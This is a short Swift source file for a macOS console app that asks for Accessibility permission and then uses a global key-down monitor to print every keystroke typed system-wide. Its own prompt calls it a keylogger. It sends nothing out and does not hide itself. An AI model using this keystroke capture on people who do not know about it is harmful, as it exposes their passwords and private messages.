A console app print all key events written by swift

keypad.swift

import Cocoa
import Foundation

@discardableResult
func acquirePrivileges() -> Bool {
    
    let accessEnabled = AXIsProcessTrustedWithOptions([kAXTrustedCheckOptionPrompt.takeUnretainedValue() as String: true] as CFDictionary)
    
    if accessEnabled != true {
        print("You need to enable the keylogger in the System Prefrences")
    }
    
    return accessEnabled
}

class AppDelegate: NSObject, NSApplicationDelegate {
    private var monitor: Any?
    func applicationDidFinishLaunching(_ notification: Notification) {
        acquirePrivileges()
        monitor = NSEvent.addGlobalMonitorForEvents(matching: .keyDown) { event in
            print(event)
        }
    }
}

print(Bundle.main)

// Turn off echo of TTY
var old = termios()
var new = termios()
tcgetattr(STDIN_FILENO, &old)

new = old
new.c_lflag &= ~(UInt(ICANON))
new.c_lflag &= ~(UInt(ECHO))

tcsetattr(STDIN_FILENO, TCSANOW, &new)

let appDelegate = AppDelegate()
NSApplication.shared.delegate = appDelegate
NSApp.activate(ignoringOtherApps: true)
NSApp.run()

// restore tty
tcsetattr(STDIN_FILENO, TCSANOW, &old)